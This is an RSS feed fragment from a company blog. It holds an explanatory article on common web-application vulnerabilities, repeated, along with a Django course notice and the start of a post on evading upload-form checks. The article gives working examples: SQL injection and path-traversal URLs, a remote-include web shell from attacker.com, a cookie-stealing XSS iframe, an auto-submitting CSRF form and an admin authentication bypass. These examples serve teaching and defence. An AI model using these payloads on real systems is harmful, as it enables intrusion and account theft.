</pre>
<p><br />The file php_shell.txt will be included by the vulnerable script and parsed by the interpreter and executed locally on the server, effectively giving the attacker web shell access to the machine. Much like the SQL Injection vulnerabilities, the File Inclusion vulnerabilities are fairly easy to find and exploit. They are too a result of bad programming. Another such result is the</p>
<h3>Arbitrary File Upload or Exploiting the Hostpitality</h3>
<p>We have <a title="Poking with Media Upload Forms" href="/blog/poking-with-media-upload-forms/">previously posted</a> about these type of vulnerabilities, so we are going to skip this one here. The truth is that it is not just media upload forms that can be exploited. Any file upload script can be used. There may not even be an HTML form; the attackers can just make a request to the script. Even if we have a secure application, we should always be watching for</p>
<h3>Unprotected Files or Exploiting the Negligence</h3>
<p>People often make mistakes because of negligence. Developers and/or system administrators are not an exception to this rule. With the correct Google dorks we can find numerous configuration or backup files with database connect strings, scripts with improper content type that would be downloaded instead of executed in the browser, file managers with poor or no authentication, and so on. It may sound weird, but this is a fairly common mistake. Imagine that the developer of a web application has to make a quick change on the production server. They create a backup of the script that are about to change, and then leave the backup file with a .bak extension on the server. Even if the script does not contain sensitive data, such as usernames and passwords, it will still represent a security issue, because the backup file will most probably be downloaded by whoever accesses it. In another scenario, the Web application may use a Rich Text Editor, such as FCKEditor. There are lots of vulnerable versions of such editors that allow unauthenticated users to upload arbitrary files. The main reason for this security hole is the fact that people place files where they are not supposed to. To avoid this, you need to make sure that all files that should not be accessible over HTTP be placed outside the Web root directory. If for some reason this is not possible, these files should be protected properly. Probably the most common and overlooked vulnerability is</p>
<h3>XSS or Exploiting the User</h3>
<p>There are situations, in which the Web application allows us to get to the server through the user. The XSS (Cross-Site Scripting) vulnerabilities allow the attacker to inject custom scripts, which are executed in the context of the browser of the webapp user. This is due to improper validation of the output. There are two kinds of XSS vulnerabilities: persistent (stored) and non-peristent (reflected). Persistent XSS attacks store the injected code on the server and it is executed each time the page is displayed to the visitors. Here is an example scenario that uses stored XSS to get the cookie of the Web application user.</p>
<ul>
<li>The attacker creates a script on their server that will collect the cookies.</li>
<li>The attacker injects the following hidden iframe in the application:</li>
</ul>
<pre>&lt;iframe frameborder=0 height=0 width=0 src=javascript:void(document.location=&rdquo;attacker.com/get_cookies.php?cookie=&rdquo; + document.cookie)&gt;&lt;/iframe&gt;</pre>
<ul>
<li>An authenticated user loads the page that contains the iframe.</li>
<li>The cookie is sent to the script, which writes it to a file or a database.</li>
<li>The attacker loads the cookie in their browser and is able to authenticate as the user.</li>
</ul>
<p>Non-persistent XSS attacks are essentially the same; the only difference is that the injected code is not stored on the server. Instead, the attacker needs to trick the user to follow a link. Although XSS attacks usually attempt to steal cookies, this is not always the case. They may be used to target the passwords saved in the browser, and let's not forget <a title=" beef" href="http://beefproject.com/" target="_blank">BeEF</a>. This means that setting the HttpOnly flag is not enough to protect the Web application users from XSS attacks. The best protection will be to validate and sanitizing the input and the output of the application alongside with tightened cookie security policies. A close relative of the XSS is the</p>
<h3>XSRF or Exploiting the Browser</h3>
<p>In its essence, the Cross-Site Request Forgery (CSRF or XSRF) attack is a hybrid between an XSS and a LFI attack. XSRF attacks are a way to issue commands from a user that the Web application trusts. Suppose we have a page in our Web application where the users can change their passwords. If the form is vulnerable to XSRF, the attacker can exploit this vulnerability to reset the password of the user. Here is how such an attack will take place:</p>
<ul>
<li>The attacker creates their own form on their server:</li>
</ul>
<pre>&lt;html&gt;<br />&nbsp;&nbsp;&nbsp; &lt;head&gt;&lt;/head&gt;<br />&nbsp;&nbsp;&nbsp; &lt;body onLoad="javascript:document.password_form.submit()"&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;form action="https://target.com/admin/admin.php?" method=post name="password_form"&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type=hidden name=a value=change_password&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type=password name=password1 VALUE="new_pass"&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type=password name=password2 VALUE="new_pass"&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/form&gt;<br />&nbsp;&nbsp;&nbsp; &lt;/body&gt;<br />&lt;/html&gt;
</pre>
<ul>
<li>The attacker creates a seemingly empty HTML page, which contains a hidden iframe or an img tag that loads the form.</li>
<li>The attacker tricks the user to access the page (the user has to have an active session with the Web application).</li>
<li>The form submits the data to the server, effectively changing the password.</li>
</ul>
<p>The only difficult thing in the attack is to trick the user to visit the page, while being logged in the application. This may be achieved with a spoofed e-mail, instant message, and so on. To protect users against such attacks, developers need to use anti-XSRF tokens in POST requests. Additionally, user actions, such as changing their passwords, should require an additional confirmation, usually, the users should enter the old passwords. Both CSS and CSRF attacks attempt to steal user accounts. This can also be achieved via attacking the</p>
<h3>Authentication and Authorization or Exploiting the Implementation</h3>
<p>We all know that assumptions are bad, but we still continue to assume. Fairly often the developers of the application make assumptions on how the authorization and the authentication of the users should work. These assumptions are sometimes wrong, and malicious users can conduct actions that do not always match whatever the developers have taken for granted. Let's take one of the most famous shopping cart scripts for an example. Here is how the administrators of the application log in to the administrative interface.</p>
<ul>
<li>The administrator accesses http://target.com/catalog/admin.</li>
<li>The script redirects to the login.php script.</li>
<li>The administrator enters their login credentials.</li>
<li>The script checks the login credentials.</li>
<li>If they are correct, the administrator is logged in.</li>
<li>If they are not correct, the script asks the user for their login credentials again.</li>
</ul>
<p>This is achieved by showing the login.php script to every unauthenticated user of the appl<br />ication. Let's see part of the code of the script. The login.php script contains the following code:</p>
<pre>require('includes/application_top.php');
</pre>
<p><br />and here is the part of the application_top.php script that checks if the user is authenticated:</p>
<pre>// redirect to login page if administrator is not yet logged in 
if (!tep_session_is_registered('admin')) { 
$redirect = false; 
$current_page = bassename($PHP_SELF); 
if ($current_page != FILENAME_LOGIN) { 
if (!tep_session_is_registered('redirect_origin')) { 
tep_session_register('redirect_origin'); 
$redirect_origin = array('page' =&gt; $current_page, 'get' =&gt; $HTTP_GET_VARS); 
} 
$redirect = true; 
} 
if ($redirect == true) { 
tep_redirect(tep_href_link(FILENAME_LOGIN)); 
} 
unset($redirect); 
}
</pre>
<p><br />What it basically does is check if the basename of $PHP_SELF is login.php. If it is login.php, then it serves the page; otherwise you will be redirected to login.php. Now, imaging that the attackers accesses the following URL:</p>
<p>http://target.com/catalog/admin/file_manager.php/login.php</p>
<p>The basename of $PHP_SELF is login.php, so the redirect is completely bypassed and the script renders the page, which, is of course, file_manager.php.</p>
<p>The attacker can also make a POST request to http://target.com/catalog/admin/administrators.php/login.php?action=insert and add themselves as a site administrator, upload a Web shell, and so on, and so forth.</p>
<p>Such vulnerabilities are due to mistakes in the programming. They are a bit harder to detect by the attackers, but they are extremely unpleasant, as they give access to the application to unauthenticated users.</p>
<p>To avoid these vulnerabilities, the logic of the application has to be very well planned, and the the implementation should be thoroughly tested.</p>
<p>Of course, there are other vulnerabilities , and attacks that are hybrids of the attacks described above. There is no post that can encompass them all. But we can safely say that these are the most common vulnerabilities and attacks on the Internet nowadays.</p>
<p>In a follow-up post we will discuss the defense and the penetration tests as part of the defense.</p>
<hr />
<p>This article is translated to <a title="Serbo-Croatian translation" href="http://science.webhostinggeeks.com/bezbednost-web-aplikacija">Serbo-Croatian</a> language by Anja Skrba from <a title="Webhostinggeeks.com" href="http://webhostinggeeks.com/">Webhostinggeeks.com</a>.</p>]]></description>
				<content:encoded><![CDATA[<h3>Some History</h3>
<p>With the development of the computers and the communication technologies, the question of the security is becoming more and more pressing. Nowadays, every individual has some kind of presence on the Internet. This is true to a much greater extent for the companies - you simply cannot do business if you do not use Internet and/or web-based solutions - ERP applications, collaboration tools, you name it. This is raising many questions, such as "How secure is the information of my company?"; "How secure is the information of my customers?"; "Can someone access this information without authorization?"; "What do I need to do to protect myself from getting hacked?", etc. These questions are more relevant today than they were in the past. Twenty years ago very few people used computers, and even fewer dealt with information security. For those that did, this was a hobby or a profession, and they had a different way of thinking - if they found a vulnerability in a software or a system, they would report it to the owners, so that they can fix or mitigate it. I remember in the 90's there was a guy that hacked the name server of our university network through the finger daemon, and report it it immediately without doing any harm. Now, when literally everyone has Internet access, things are quite different. Anyone can download working exploits for recently published vulnerabilities; there are tools that can automate most of the tasks you would go through to hack a website; and do not forget Google and Shodan, which you can use to find vulnerable targets. This is making "hacking" (if you can call it that) very easy.</p>
<h3>Why the Web Application security matters?</h3>
<p>Under these circumstances, it is not hard to answer this question. Since virtually anyone has access to "hacking resources", the threat to the information security has increased enormously. With the migration to the Web applications, combined with the whole fuzz around the cloud computing, the focus of the security specialists and researchers has shifted. On one hand, it is harder to find a remote exploit for the operating systems. On the other hand, it is much easier to target and compromise a Web application. Often, the only thing you need to do that is a Web browser - take the LFI, RFI, File Upload, SQLi. If the application is vulnerable to LFI, you can include the process environment, which is going to be parsed by the PHP interpreter. If you change the User-Agent to a PHP code, it will be executed, giving you a remote command execution. If there is an RFI, you can include a Web shell from a remote server, and so on. Additionally, the vulnerabilities are announced publicly, sometimes even before there is a patch for them. Yeah, but</p>
<h3>why on earth would someone attack my company?</h3>
<p>Well, the motivation of the hacker can be different - industrial espionage; getting a stepping stone (hopping station) for carrying out attacks on other machines/networks; real or imaginary profit; revenge, hacktivism, etc. Anyone can target any company even for no particular reason, so</p>
<h3>what could be the damage?</h3>
<p>No matter the motivation of the attacker, their actions can cause huge financial losses, loss of reputation and trust, law suits. If a server is hacked and used as a hopping station to target other networks, it may be confiscated by the law enforcement, which can lead to additional losses. If its content is deleted, this can directly affect the productivity. A compromise of a server can lead to attacks on the internal networks of the company. That is why, we need to know what are</p>
<h3>the Most Common Vulnerabilities in the Web Applications</h3>
<p>The <a href="https://www.owasp.org/" target="_blank">Open Web Application Security Project</a> (OWASP) defines <a href="https://www.owasp.org/index.php/Top_10_2010-Main" target="_blank">ten categories</a>, which combine "the most serious risks for a broad array of organizations." Below, we will outline some of the most common vulnerabilities we have met in the course of our work. Probably the most common and the easiest one to exploit is</p>
<h3>SQL Injection - Exploiting the Developer</h3>
<p>Almost every dynamic Web application uses some kind of database backend. The content displayed to the application users is stored in the database and displayed in the browser, depending on the parameters passed by the underlying scripts to the backend. These parameter, however, depend on the user behavior, and can, therefore, be modified by them. This is the basic functionality of the Web application. The problems arise when the parameters are passed to the database without any sanitizing. This allows malicious users to close the legitimate query and pass their own queries to the database and get the results one way or another. In other words, SQL Injection exploit the assumptions, made by the application developers. For example, when the developer produced the following code:</p>
<pre>$sql = '
SELECT *
FROM products
WHERE id = ' . $_GET['id'];
</pre>
<p><br />they wanted the script to query the database for products matching a given ID that is passed as a GET parameter. That is, if the visitors access http://target.com//vulnerable_script.php?id=1, they would see the details for the product with ID 1. The database query will look like this:</p>
<pre>SELECT *
FROM products
WHERE id = 1
</pre>
<p><br />In this particular case, the developers assumed that the 'id' parameter would always be an integer. However, since the value of the 'id' parameter is passed to the database by the user without any filtering, a malicious user can input the following URL in the browser: http://target.com//vulnerable_script.php? id=1+union+select+0,1,concat_ws(user(),0x3a,database(),0x3a,version()),3,4,5,6-- In this case, the DB query will look like this:</p>
<pre>SELECT *
FROM products
WHERE id = 1
union all
select 0,1,concat_ws(user(),0x3A,database(),0x3A,version()),3,4,5,6
</pre>
<p><br />Basically, this tells the database to display the information about the product with ID 1 and combine it with a set of data that contains the information about the user, the name of the database and the version of the database server. This information is selected in the third column, separated by colons (0x3A). To make this query, the attacker needs to know the number of the columns in the database. This information can be easily obtained by several requests that instruct the database to display the data, ordered by a particular column. This is a basic example for a regular Union SQL Injection. There are other flavors of SQLi - error-based, time-based blind boolean-based blind. Error-based SQL Injection attacks rely on extracting information from the errors, returned by the database. There is a nice <a title="Error-based SQLi" href="http://www.youtube.com/watch?v=WN27Ql-S99Q" target="_blank">introductory tutorial</a> on error-based SQLi on Youtube. Surprisingly often, developers think that when they hide the errors from the output, they have resolved the vulnerability. Of course, this is not the case - the fact that you cannot see the data, returned by the database (union-based) or the errors (error-based), does not mean that the script is not vulnerable. In these cases, an attacker can use Blind SQL Injection to exfiltrate data, i.e. brute-force the data, based on boolean or time-based conditions. In these cases, you will pass queries that will inspect the responses of the database server and reconstruct the data. Of course, the attackers and pentesters are not stuck with the browser to exploit these vulnerabilities. There are numerous tools that will automate the process. The best one is <a title="sqlmap" href="http://sqlmap.org/" target="_blank">sqlmap</a>. Bernardo and Miroslav have done amazing job developing this tool. There are several things that can be done to prevent SQL Injection. The most widely used method is</p>
<p><strong>filtering the user input</strong></p>
<p>This method is the easiest to implement and if not implemented properly, it can be bypassed. There are numerous techniques to bypass defenses, based on input filtering - case tampering, white space tampering, encoding the queries. A lot better defense against SQLi is to use</p>
<p><strong>parameterized queries</strong></p>
<p>or "prepared statements". These are essentially templates for SQL queries, which contain&nbsp;spaces where the user input will go. When the filled-in template is passed to the database, the entire user input would be in the space allocated for it in the template. The database will execute the query from the template, instead of the query that may be supplied in the user input. Alternatively, developers can use</p>
<p><strong>ORM (Object Relational Mapping)</strong></p>
<p>This is a technique for object conversion, which converts the tables in the database to scalar variables, creating a virtual database. In practice, the ORM systems generate parameterized queries. The second most common vulnerability in Web applications is</p>
<h3>File Inclusion - Exploiting the Functionality</h3>
<p>This is another vulnerability that is fairly easy to find and exploit. Essentially, this is the ability to include files from the machine on which the application runs, or from a remote server, visible to this machine. The possibility to include different scripts is essential for the work of every application - this is how the application logic is abstracted or how different pages are displayed, depending on the user choice. Let's take a fairly simple website that has four pages: Home, News, About Us, Contacts. If the visitor accesses the Home page, the URL they will use would look like that:</p>
<pre>http://target.com/vulnerable_script?page=home
</pre>
<p><br />In other words, the script accepts one parameter (page), which value specifies the page that is requested by the visitor. Let's assume that the script has the following code:</p>
<pre><!--?php
$page = $_GET['page'];
if(isset($page)) {
include("$page");
}
else {
include("vulnerable_script.php");
}
?--><!--?php<br /-->&lt;?php<br />$page = $_GET['page'];<br />if(isset($page)) {<br />include("$page");<br />}<br />else {<br />include("vulnerable_script.php");<br />}<br />?&gt;
</pre>
<p><br />The code is self-explanatory - the value of the GET parameter page is assigned to a variable 'page'. If its value is not NULL, the script includes the script with a name that is the same as the value. The problem with this code is that the page variable is created from the user input without any checks or filtering. Therefore, if we access the following URL:</p>
<pre>http://target.com/vulnerable_script?page=../../../../etc/passwd
</pre>
<p><br />the script will include and display the contents of the UNIX password file. This is a very simplified example of LFI. Often, programmers think that to secure the script above, they only need to add one little modification:</p>
<pre><!--?php
$page = $_GET['page'];
if(isset($page)) {
include("$page" . &ldquo;.html&rdquo;);
}
else {
include("vulnerable_script.php");
}
?--><!--?php<br /-->&lt;?php<br />$page = $_GET['page'];<br />if(isset($page)) {<br />include("$page" . ".html");<br />}<br />else {<br />include("vulnerable_script.php");<br />}<br />?&gt;
</pre>
<p><br />The only difference here is that a .html extension is added to the page that is included. However, by simply appending a null character (%00) to the URL, the attacker would still be able to include arbitrary files. This depends on the server configuration, the PHP version and may not work in all cases. In other cases, the developers use the file_exists() function, but this is functionality check, not a security one, because it does not limit the ability to include existing files. LFI vulnerabilities can easily lead to command execution in some cases. To achieve this, a malicious user can use the /proc file system, which is used in Linux as an interface to the kernel of the Operating System. Let's say that, again, we have a script that is vulnerable to LFI. To gain the ability to execute commands on the server, a malicious user can include /proc/self/environ. This is the environment of the current process - it contains the environmental variables for the running process. Besides the system environmental variables, it also contains the CGI variables (REMOTE_ADDR, HTTP_REFERER, HTTP_USER_AGENT, etc.) So, if the hacker changes the User-Agent header, passed to the server to a PHP script, the script will be parsed by the PHP interpreter and executed on the server. So far, we've looked into the ability to include files locally from the server, on which the vulnerable script is running. To include files from remote locations is not that different. Actually, if the server configuration allows the inclusion of remote scripts, and if the script is vulnerable, the only difference will be in the URL - the attacker would just have to use an address, such as</p>
<pre>http://target.com/vulnerable_script?page=http://attacker.com/php_shell.txt%00
</pre>
<p><br />The file php_shell.txt will be included by the vulnerable script and parsed by the interpreter and executed locally on the server, effectively giving the attacker web shell access to the machine. Much like the SQL Injection vulnerabilities, the File Inclusion vulnerabilities are fairly easy to find and exploit. They are too a result of bad programming. Another such result is the</p>
<h3>Arbitrary File Upload or Exploiting the Hostpitality</h3>
<p>We have <a title="Poking with Media Upload Forms" href="/blog/poking-with-media-upload-forms/">previously posted</a> about these type of vulnerabilities, so we are going to skip this one here. The truth is that it is not just media upload forms that can be exploited. Any file upload script can be used. There may not even be an HTML form; the attackers can just make a request to the script. Even if we have a secure application, we should always be watching for</p>
<h3>Unprotected Files or Exploiting the Negligence</h3>
<p>People often make mistakes because of negligence. Developers and/or system administrators are not an exception to this rule. With the correct Google dorks we can find numerous configuration or backup files with database connect strings, scripts with improper content type that would be downloaded instead of executed in the browser, file managers with poor or no authentication, and so on. It may sound weird, but this is a fairly common mistake. Imagine that the developer of a web application has to make a quick change on the production server. They create a backup of the script that are about to change, and then leave the backup file with a .bak extension on the server. Even if the script does not contain sensitive data, such as usernames and passwords, it will still represent a security issue, because the backup file will most probably be downloaded by whoever accesses it. In another scenario, the Web application may use a Rich Text Editor, such as FCKEditor. There are lots of vulnerable versions of such editors that allow unauthenticated users to upload arbitrary files. The main reason for this security hole is the fact that people place files where they are not supposed to. To avoid this, you need to make sure that all files that should not be accessible over HTTP be placed outside the Web root directory. If for some reason this is not possible, these files should be protected properly. Probably the most common and overlooked vulnerability is</p>
<h3>XSS or Exploiting the User</h3>
<p>There are situations, in which the Web application allows us to get to the server through the user. The XSS (Cross-Site Scripting) vulnerabilities allow the attacker to inject custom scripts, which are executed in the context of the browser of the webapp user. This is due to improper validation of the output. There are two kinds of XSS vulnerabilities: persistent (stored) and non-peristent (reflected). Persistent XSS attacks store the injected code on the server and it is executed each time the page is displayed to the visitors. Here is an example scenario that uses stored XSS to get the cookie of the Web application user.</p>
<ul>
<li>The attacker creates a script on their server that will collect the cookies.</li>
<li>The attacker injects the following hidden iframe in the application:</li>
</ul>
<pre>&lt;iframe frameborder=0 height=0 width=0 src=javascript:void(document.location=&rdquo;attacker.com/get_cookies.php?cookie=&rdquo; + document.cookie)&gt;&lt;/iframe&gt;</pre>
<ul>
<li>An authenticated user loads the page that contains the iframe.</li>
<li>The cookie is sent to the script, which writes it to a file or a database.</li>
<li>The attacker loads the cookie in their browser and is able to authenticate as the user.</li>
</ul>
<p>Non-persistent XSS attacks are essentially the same; the only difference is that the injected code is not stored on the server. Instead, the attacker needs to trick the user to follow a link. Although XSS attacks usually attempt to steal cookies, this is not always the case. They may be used to target the passwords saved in the browser, and let's not forget <a title=" beef" href="http://beefproject.com/" target="_blank">BeEF</a>. This means that setting the HttpOnly flag is not enough to protect the Web application users from XSS attacks. The best protection will be to validate and sanitizing the input and the output of the application alongside with tightened cookie security policies. A close relative of the XSS is the</p>
<h3>XSRF or Exploiting the Browser</h3>
<p>In its essence, the Cross-Site Request Forgery (CSRF or XSRF) attack is a hybrid between an XSS and a LFI attack. XSRF attacks are a way to issue commands from a user that the Web application trusts. Suppose we have a page in our Web application where the users can change their passwords. If the form is vulnerable to XSRF, the attacker can exploit this vulnerability to reset the password of the user. Here is how such an attack will take place:</p>
<ul>
<li>The attacker creates their own form on their server:</li>
</ul>
<pre>&lt;html&gt;<br />&nbsp;&nbsp;&nbsp; &lt;head&gt;&lt;/head&gt;<br />&nbsp;&nbsp;&nbsp; &lt;body onLoad="javascript:document.password_form.submit()"&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;form action="https://target.com/admin/admin.php?" method=post name="password_form"&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type=hidden name=a value=change_password&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type=password name=password1 VALUE="new_pass"&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type=password name=password2 VALUE="new_pass"&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/form&gt;<br />&nbsp;&nbsp;&nbsp; &lt;/body&gt;<br />&lt;/html&gt;
</pre>
<ul>
<li>The attacker creates a seemingly empty HTML page, which contains a hidden iframe or an img tag that loads the form.</li>
<li>The attacker tricks the user to access the page (the user has to have an active session with the Web application).</li>
<li>The form submits the data to the server, effectively changing the password.</li>
</ul>
<p>The only difficult thing in the attack is to trick the user to visit the page, while being logged in the application. This may be achieved with a spoofed e-mail, instant message, and so on. To protect users against such attacks, developers need to use anti-XSRF tokens in POST requests. Additionally, user actions, such as changing their passwords, should require an additional confirmation, usually, the users should enter the old passwords. Both CSS and CSRF attacks attempt to steal user accounts. This can also be achieved via attacking the</p>
<h3>Authentication and Authorization or Exploiting the Implementation</h3>
<p>We all know that assumptions are bad, but we still continue to assume. Fairly often the developers of the application make assumptions on how the authorization and the authentication of the users should work. These assumptions are sometimes wrong, and malicious users can conduct actions that do not always match whatever the developers have taken for granted. Let's take one of the most famous shopping cart scripts for an example. Here is how the administrators of the application log in to the administrative interface.</p>
<ul>
<li>The administrator accesses http://target.com/catalog/admin.</li>
<li>The script redirects to the login.php script.</li>
<li>The administrator enters their login credentials.</li>
<li>The script checks the login credentials.</li>
<li>If they are correct, the administrator is logged in.</li>
<li>If they are not correct, the script asks the user for their login credentials again.</li>
</ul>
<p>This is achieved by showing the login.php script to every unauthenticated user of the appl<br />ication. Let's see part of the code of the script. The login.php script contains the following code:</p>
<pre>require('includes/application_top.php');
</pre>
<p><br />and here is the part of the application_top.php script that checks if the user is authenticated:</p>
<pre>// redirect to login page if administrator is not yet logged in 
if (!tep_session_is_registered('admin')) { 
$redirect = false; 
$current_page = bassename($PHP_SELF); 
if ($current_page != FILENAME_LOGIN) { 
if (!tep_session_is_registered('redirect_origin')) { 
tep_session_register('redirect_origin'); 
$redirect_origin = array('page' =&gt; $current_page, 'get' =&gt; $HTTP_GET_VARS); 
} 
$redirect = true; 
} 
if ($redirect == true) { 
tep_redirect(tep_href_link(FILENAME_LOGIN)); 
} 
unset($redirect); 
}
</pre>
<p><br />What it basically does is check if the basename of $PHP_SELF is login.php. If it is login.php, then it serves the page; otherwise you will be redirected to login.php. Now, imaging that the attackers accesses the following URL:</p>
<p>http://target.com/catalog/admin/file_manager.php/login.php</p>
<p>The basename of $PHP_SELF is login.php, so the redirect is completely bypassed and the script renders the page, which, is of course, file_manager.php.</p>
<p>The attacker can also make a POST request to http://target.com/catalog/admin/administrators.php/login.php?action=insert and add themselves as a site administrator, upload a Web shell, and so on, and so forth.</p>
<p>Such vulnerabilities are due to mistakes in the programming. They are a bit harder to detect by the attackers, but they are extremely unpleasant, as they give access to the application to unauthenticated users.</p>
<p>To avoid these vulnerabilities, the logic of the application has to be very well planned, and the the implementation should be thoroughly tested.</p>
<p>Of course, there are other vulnerabilities , and attacks that are hybrids of the attacks described above. There is no post that can encompass them all. But we can safely say that these are the most common vulnerabilities and attacks on the Internet nowadays.</p>
<p>In a follow-up post we will discuss the defense and the penetration tests as part of the defense.</p>
<hr />
<p>This article is translated to <a title="Serbo-Croatian translation" href="http://science.webhostinggeeks.com/bezbednost-web-aplikacija">Serbo-Croatian</a> language by Anja Skrba from <a title="Webhostinggeeks.com" href="http://webhostinggeeks.com/">Webhostinggeeks.com</a>.</p>]]></content:encoded>
			</item>
					<item>
				<title>Another way to make a difference</title>
				<link>http://mtr-design.com/blog/another-way-to-make-a-difference/</link>
				<pubDate>Thu, 16 Aug 2012 12:16:40 +0000</pubDate>
				<dc:creator>Emil Filipov</dc:creator>
									<category><![CDATA[Company News]]></category>
									<category><![CDATA[Development]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/another-way-to-make-a-difference/</guid>
								<description><![CDATA[<p>Here at MTR we try to make a difference every day, by challenging stereotypes and finding creative ways to deal with our tasks. This month, however, I will try to make a difference in another way - by doing some teaching. A Django Crash Course (in Bulgarian) will take place on Aug 31st, in the headquarters of the <a href="http://initlab.org/events/pgdjsh-course-on-django/" target="_blank">initLab hackerspace</a> in Sofia. I've been thinking about this for a while, since Django is basically unknown around here, and I finally found the time to do a little (pr|t)eaching. The plan is to cover the following topics:</p>
<p>1. Installing Python on Windows</p>
<p>2. Introduction to the Python interactive console and demonstrating basic Python constructs/syntax</p>
<p>3. Installing Django on Windows and playing with PYTHONPATH &nbsp;+ startproject</p>
<p>4. Installing Django on Linux; playing with runserver</p>
<p>5. Django Tutorial Part 1&nbsp;</p>
<ul>
<li>Folder structure</li>
<li>Running the development server</li>
<li>Database setup</li>
<li>Models/ORM</li>
<li>Playing with the models from the command line</li>
</ul>
<p>6. Django Tutorial Part 2</p>
<ul>
<li>Activating the Admin App</li>
<li>Adding our models to the Admin</li>
<li>Customizing the ModelAdmin</li>
</ul>
<p>7. Django Tutorial Part 3</p>
<ul>
<li>Routing addresses with the URL dispatcher</li>
<li>Writing views and rendering templates</li>
<li>Using template constructs</li>
<li>Named URLs and URL reversal in code/templates</li>
<li>Template resolution</li>
<li>Overriding Admin templates</li>
<li>Dealing with static media</li>
</ul>
<p>8. Django Tutorial Part 4</p>
<ul>
<li>Working with basic forms</li>
<li>Showcasing ModelForms</li>
<li>ModelForm security considerations</li>
</ul>
<p>9. Making your life easy with Django Debug Toolbar</p>
<p>So there you have it - a Python fanboy trying to convince developers that they deserve better than PHP, during a 4-hour Django intro full of hate, love and ponies. The course is completely free, so do come by if you're in the mood for some webdev action!</p>]]></description>
				<content:encoded><![CDATA[<p>Here at MTR we try to make a difference every day, by challenging stereotypes and finding creative ways to deal with our tasks. This month, however, I will try to make a difference in another way - by doing some teaching. A Django Crash Course (in Bulgarian) will take place on Aug 31st, in the headquarters of the <a href="http://initlab.org/events/pgdjsh-course-on-django/" target="_blank">initLab hackerspace</a> in Sofia. I've been thinking about this for a while, since Django is basically unknown around here, and I finally found the time to do a little (pr|t)eaching. The plan is to cover the following topics:</p>
<p>1. Installing Python on Windows</p>
<p>2. Introduction to the Python interactive console and demonstrating basic Python constructs/syntax</p>
<p>3. Installing Django on Windows and playing with PYTHONPATH &nbsp;+ startproject</p>
<p>4. Installing Django on Linux; playing with runserver</p>
<p>5. Django Tutorial Part 1&nbsp;</p>
<ul>
<li>Folder structure</li>
<li>Running the development server</li>
<li>Database setup</li>
<li>Models/ORM</li>
<li>Playing with the models from the command line</li>
</ul>
<p>6. Django Tutorial Part 2</p>
<ul>
<li>Activating the Admin App</li>
<li>Adding our models to the Admin</li>
<li>Customizing the ModelAdmin</li>
</ul>
<p>7. Django Tutorial Part 3</p>
<ul>
<li>Routing addresses with the URL dispatcher</li>
<li>Writing views and rendering templates</li>
<li>Using template constructs</li>
<li>Named URLs and URL reversal in code/templates</li>
<li>Template resolution</li>
<li>Overriding Admin templates</li>
<li>Dealing with static media</li>
</ul>
<p>8. Django Tutorial Part 4</p>
<ul>
<li>Working with basic forms</li>
<li>Showcasing ModelForms</li>
<li>ModelForm security considerations</li>
</ul>
<p>9. Making your life easy with Django Debug Toolbar</p>
<p>So there you have it - a Python fanboy trying to convince developers that they deserve better than PHP, during a 4-hour Django intro full of hate, love and ponies. The course is completely free, so do come by if you're in the mood for some webdev action!</p>]]></content:encoded>
			</item>
					<item>
				<title>Poking with Media Upload Forms</title>
				<link>http://mtr-design.com/blog/poking-with-media-upload-forms/</link>
				<pubDate>Thu, 02 Aug 2012 11:02:11 +0000</pubDate>
				<dc:creator>Dimitar Ivanov</dc:creator>
									<category><![CDATA[Development]]></category>
									<category><![CDATA[Projects]]></category>
									<category><![CDATA[Security]]></category>
									<category><![CDATA[Server Administration]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/poking-with-media-upload-forms/</guid>
								<description><![CDATA[<p>What can I say about file upload forms? Every pentester simply loves them - the ability to upload data on the server you are testing is what you always aim for.  During a recent penetration test, I had quite the fun with this form that was supposed to allow registered users of the site to upload pictures and videos in their profiles. The idea behind the test was to report everything as it was found, and the developers would fix it on the fly.  The usual SQL injection and XSS issues they had no problems with, but the image upload turned to be a real&nbsp;challenge.  When I got to the file upload form, it performed no checks whatsoever. I tried to upload a PHP shell, and a second later I was doing the happy hacker dance.</p>
<h3>The challenge</h3>
<p>So the developers applied the following fix:</p>
<p><em>$valid = false; if(preg_match('/^image/', $_FILES['file']['type'])) { 	$info = getimagesize($_FILES['file']['tmp_name']); 	if(!empty($info)) 		$valid = true; 	} elseif(preg_match('/^video/', $_FILES['file']['type'])) { 		$valid = true; 	} else { 		@unlink($_FILES['file']['tmp_name']); 	}<br /> if($valid) {     move_uploaded_file( $_FILES['file']['tmp_name'], 'images'.'/'.$_FILES['file']['name'] );</em></p>
<p>The code is now checking the type of the file and size of the images. However, there are a few issues with this check:</p>
<ul>
<li>the type of the file is checked via the Content-Type header, which is passed to the script by the client, and therefore, can be easily modified;</li>
<li>the script is not checking the file extension, and you can still upload a .php file;</li>
<li>the check for the videos is only based on the Content-Type header.</li>
</ul>
<h3>Evasion</h3>
<p>It is fairly easy to evade this kind of protection of file upload forms.  The easiest thing, of course, is to upload a PHP script, by changing the Content-Type header of the HTTP request to image/video. To do this, you need to intercept the outgoing HTTP request with a local proxy, such as Burp or Webscarab, but Tamper Data for Firefox will do just fine.  You can also upload a valid image and insert PHP code in the EXIF. To do this, you can insert the code in the Comments field, e.g.:</p>
